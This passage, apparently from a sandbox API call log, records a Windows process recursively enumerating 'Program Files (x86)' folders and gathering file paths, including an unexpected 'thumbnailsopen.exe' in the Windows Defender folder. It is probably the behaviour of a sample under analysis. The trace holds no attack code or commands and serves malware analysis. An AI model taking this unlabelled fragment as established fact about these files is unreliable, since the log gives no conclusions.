20 [0123.854] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Reference Assemblies" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies") returned="c:\\Program Files (x86)\\Reference Assemblies" [0123.854] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\" [0123.854] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0123.854] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\*" [0123.854] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.854] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.854] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.855] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.855] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.855] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.855] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0123.855] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0123.855] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0123.855] lstrlenW (lpString="Microsoft") returned 9 [0123.855] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0123.855] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0123.855] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0123.855] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*" [0123.855] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.855] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.855] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.855] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.855] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.855] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.855] lstrcmpW (lpString1="Framework", lpString2=".") returned 1 [0123.855] lstrcmpW (lpString1="Framework", lpString2="..") returned 1 [0123.855] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0123.855] lstrlenW (lpString="Framework") returned 9 [0123.855] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="Framework" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0123.855] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.855] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.855] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.855] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.855] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.856] lstrcmpW (lpString1="Uninstall Information", lpString2=".") returned 1 [0123.856] lstrcmpW (lpString1="Uninstall Information", lpString2="..") returned 1 [0123.856] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.856] lstrlenW (lpString="Uninstall Information") returned 21 [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Uninstall Information" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information") returned="c:\\Program Files (x86)\\Uninstall Information" [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\") returned="c:\\Program Files (x86)\\Uninstall Information\\" [0123.856] lstrlenW (lpString="c:\\Program Files (x86)\\Uninstall Information\\") returned 45 [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\*") returned="c:\\Program Files (x86)\\Uninstall Information\\*" [0123.856] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.856] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.856] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.856] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.856] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.856] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.856] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.856] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.856] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0123.856] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0123.856] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.856] lstrlenW (lpString="Windows Defender") returned 16 [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Defender" | out: lpString1="c:\\Program Files (x86)\\Windows Defender") returned="c:\\Program Files (x86)\\Windows Defender" [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\") returned="c:\\Program Files (x86)\\Windows Defender\\" [0123.856] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\*") returned="c:\\Program Files (x86)\\Windows Defender\\*" [0123.856] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.856] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.856] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.856] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.856] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.856] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.856] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.856] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.856] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0123.856] lstrlenW (lpString="en-US") returned 5 [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US") returned="c:\\Program Files (x86)\\Windows Defender\\en-US" [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\" [0123.856] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0123.856] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\*" [0123.856] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.857] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.857] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.857] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.857] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.857] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.857] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0123.857] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0123.857] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0123.857] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned 62 [0123.857] lstrcpyW (in: lpString1=0x24b23a8, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0123.857] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.857] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0123.857] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0123.857] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0123.857] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned 61 [0123.857] lstrcpyW (in: lpString1=0x24b2430, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0123.857] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.857] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.857] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.857] lstrcmpW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0123.857] lstrcmpW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0123.857] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0123.857] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned 52 [0123.857] lstrcpyW (in: lpString1=0x24b0b28, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0123.857] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.857] lstrcmpW (lpString1="MpClient.dll", lpString2=".") returned 1 [0123.857] lstrcmpW (lpString1="MpClient.dll", lpString2="..") returned 1 [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0123.857] lstrlenW (lpString="MpClient.dll") returned 12 [0123.857] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned 52 [0123.857] lstrcpyW (in: lpString1=0x24b0ba0, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0123.857] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.857] lstrcmpW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0123.857] lstrcmpW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0123.857] lstrlenW (lpString="MpOAV.dll") returned 9 [0123.857] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0123.857] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned 49 [0123.857] lstrcpyW (in: lpString1=0x24b49c0, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0123.857] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.857] lstrcmpW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0123.857] lstrcmpW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0123.858] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0123.858] lstrlenW (lpString="MsMpLics.dll") returned 12 [0123.858] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0123.858] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned 52 [0123.858] lstrcpyW (in: lpString1=0x24b0c18, lpString2="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0123.858] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.858] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2=".") returned 1 [0123.858] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2="..") returned 1 [0123.858] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0123.858] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0123.858] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0123.858] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned 58 [0123.858] lstrcpyW (in: lpString1=0x24b5a78, lpString2="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0123.858] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.858] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.858] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.858] lstrcmpW (lpString1="Windows Mail", lpString2=".") returned 1 [0123.858] lstrcmpW (lpString1="Windows Mail", lpString2="..") returned 1 [0123.858] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.858] lstrlenW (lpString="Windows Mail") returned 12 [0123.858] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Mail" | out: lpString1="c:\\Program Files (x86)\\Windows Mail") returned="c:\\Program Files (x86)\\Windows Mail" [0123.858] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\") returned="c:\\Program Files (x86)\\Windows Mail\\" [0123.858] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.858] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\*") returned="c:\\Program Files (x86)\\Windows Mail\\*" [0123.858] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.858] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.858] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.858] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.858] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.858] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.858] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.858] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.858] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.858] lstrlenW (lpString="en-US") returned 5 [0123.858] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US") returned="c:\\Program Files (x86)\\Windows Mail\\en-US" [0123.858] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\" [0123.858] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0123.858] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0123.858] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.858] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.858] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.858] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.858] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.858] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.859] lstrcmpW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0123.859] lstrcmpW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0123.859] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0123.859] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned 57 [0123.859] lstrcpyW (in: lpString1=0x24b5af8, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0123.859] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.859] lstrcmpW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0123.859] lstrcmpW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0123.859] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0123.859] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned 57 [0123.859] lstrcpyW (in: lpString1=0x24b5b78, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0123.859] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.859] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.859] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.859] lstrcmpW (lpString1="msoe.dll", lpString2=".") returned 1 [0123.859] lstrcmpW (lpString1="msoe.dll", lpString2="..") returned 1 [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.859] lstrlenW (lpString="msoe.dll") returned 8 [0123.859] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned 44 [0123.859] lstrcpyW (in: lpString1=0x24b79e0, lpString2="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0123.859] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.859] lstrcmpW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0123.859] lstrcmpW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.859] lstrlenW (lpString="MSOERES.dll") returned 11 [0123.859] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned 47 [0123.859] lstrcpyW (in: lpString1=0x24b7a48, lpString2="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0123.859] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.859] lstrcmpW (lpString1="oeimport.dll", lpString2=".") returned 1 [0123.859] lstrcmpW (lpString1="oeimport.dll", lpString2="..") returned 1 [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.859] lstrlenW (lpString="oeimport.dll") returned 12 [0123.859] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned 48 [0123.859] lstrcpyW (in: lpString1=0x24b4a30, lpString2="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0123.859] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.859] lstrcmpW (lpString1="wab.exe", lpString2=".") returned 1 [0123.859] lstrcmpW (lpString1="wab.exe", lpString2="..") returned 1 [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.859] lstrlenW (lpString="wab.exe") returned 7 [0123.859] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0123.859] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned 43 [0123.860] lstrcpyW (in: lpString1=0x24b7ab0, lpString2="c:\\Program Files (x86)\\Windows Mail\\wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0123.860] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.860] lstrcmpW (lpString1="wabfind.dll", lpString2=".") returned 1 [0123.860] lstrcmpW (lpString1="wabfind.dll", lpString2="..") returned 1 [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.860] lstrlenW (lpString="wabfind.dll") returned 11 [0123.860] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned 47 [0123.860] lstrcpyW (in: lpString1=0x24b7b10, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0123.860] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.860] lstrcmpW (lpString1="wabimp.dll", lpString2=".") returned 1 [0123.860] lstrcmpW (lpString1="wabimp.dll", lpString2="..") returned 1 [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.860] lstrlenW (lpString="wabimp.dll") returned 10 [0123.860] lstrcatW (in: 